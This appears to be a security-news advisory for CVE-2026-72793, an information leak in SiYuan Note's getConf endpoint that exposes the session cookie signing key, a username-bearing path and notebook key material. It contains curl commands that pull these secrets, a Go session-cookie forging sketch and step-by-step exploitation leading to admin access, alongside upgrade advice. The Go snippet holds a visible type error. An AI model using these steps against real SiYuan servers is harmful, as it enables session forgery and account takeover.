Listen to this Post
This vulnerability, identified as CVE-2026-72793, affects SiYuan Note versions prior to v3.7.4. The core issue resides in the `/api/system/getConf` endpoint. This endpoint is configured to use only the `CheckAuth` middleware and is accessible to any user with a publish `RoleReader` token. Furthermore, it is completely exposed to unauthenticated, anonymous users when the `Publish.Auth.Enable` configuration is set to false.
The vulnerability stems from a flawed “blocklist” approach to masking sensitive configuration fields for non-administrator users. The system employs a multi-stage masking chain (GetMaskedConf() → `HideConfSecret()` → `FilterConfByPublishIgnore()` → browser strip) that explicitly enumerates fields to be hidden. This list is incomplete and has diverged from the project’s own definitive list of secrets that must not leave the server, which is maintained for the `/api/system/exportConf` endpoint. As a result, three critical fields are unintentionally returned in the response to unauthorized readers.
The leaked fields are:
- Conf.CookieKey (
cookieKey): This is the live session-cookie signing key. The application uses this key to initialize the session store (sessionStore = cookie.NewStore([]byte(cookieKey))) and sign the `siyuan` session cookie. An attacker who obtains this key can forge and tamper with session cookies, which the server will accept as authentic. - Conf.Export.PandocBin (
export.pandocBin): This field contains the absolute path to the Pandoc binary. On a default Windows installation, this path isC:\Users\<username>\SiYuan\temp\pandoc\bin\pandoc.exe, which directly exposes the operating system’s username. This bypasses a specific privacy control designed to prevent such leaks by stripping `System.` paths for browser requests. - Conf.NotebookCrypto (
notebookCrypto): This field contains encrypted-notebook key material. Like theCookieKey, it is also stripped by the `exportConf` endpoint but is missing from the non-administrator mask list.
The root cause is the maintenance of two separate inventories of secrets: one for the `exportConf` cloner and a shorter, divergent list for the `getConf` masking chain. Any future secret added to the configuration is at risk of being exposed through this endpoint unless the masking list is manually updated.
DailyCVE Form:
Platform: SiYuan Note
Version: < v3.7.4
Vulnerability: Info Disclosure
Severity: Critical
Date: 2026-08-12
Prediction: 2026-07-25
What Undercode Say:
The following analytics and commands are relevant to CVE-2026-72793.
Vulnerable Endpoint Check:
curl -X POST http://<target-ip>:6808/api/system/getConf -H "Content-Type: application/json" -d '{}'
Differential Check (exportConf):
curl -X POST http://<target-ip>:6808/api/system/exportConf -H "Content-Type: application/json" -d '{}'
Extract Sensitive Data with `jq`:
curl -s -X POST http://<target-ip>:6808/api/system/getConf -H "Content-Type: application/json" -d '{}' | jq '.conf.cookieKey, .conf.export.pandocBin, .conf.notebookCrypto'
Session Cookie Forging (Conceptual with `gorilla/securecookie`):
// This is a conceptual example. The actual cookie structure and encoding must be reversed.
// The 'cookieKey' obtained from the vulnerability is used here.
package main
import (
"fmt"
"github.com/gorilla/securecookie"
)
func main() {
var cookieKey = "leaked_cookie_key_from_getConf"
var hashKey = []byte(cookieKey)
var s = securecookie.New(hashKey, nil)
// The structure of SessionData must be determined by reverse-engineering.
// This is a placeholder for the forged data.
value := map[bash]interface{}{
"userID": "admin",
"accessAuth": "", // May be required if AccessAuthCode is set.
}
encoded, err := s.Encode("siyuan", value)
if err == nil {
fmt.Println(encoded)
}
}
Exploit: (Educational Purposes!)
- Prerequisite: The target SiYuan instance must be running in publish mode (default port 6808) with anonymous access enabled (
Publish.Auth.Enableis false) or with a known publish `RoleReader` account. - Step 1: Send a POST request to the vulnerable endpoint:
POST /api/system/getConf HTTP/1.1 Host: 127.0.0.1:6808 Content-Type: application/json {} - Step 2: Extract the `cookieKey` from the `conf` object in the JSON response.
- Step 3: The attacker can now use this key to forge a valid session cookie for the `siyuan` application.
- Step 4: If the instance has no `AccessAuthCode` configured, the forged session can be used to escalate privileges to an administrator.
Protection
- Immediate Action: Upgrade SiYuan to version v3.7.4 or later, which contains the official patch for this vulnerability.
- Mitigation: Configure an `access-auth` code for the SiYuan instance. This prevents an attacker from escalating a forged session to administrator privileges, even if the `cookieKey` is compromised.
- Network Hardening: Restrict untrusted network access to the SiYuan server until the upgrade can be performed.
Impact
An unauthenticated attacker in publish mode, or any user with a publish `RoleReader` role, can retrieve the server’s session-cookie signing key. This allows them to forge and tamper with session cookies that the server will accept as genuine, leading to user impersonation. On instances that do not have an access-auth code configured, this can lead to a full compromise with administrator privileges. Furthermore, the same request discloses the operating system’s username via the Pandoc binary path, which defeats a specific privacy control, and also leaks encrypted-notebook key material.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
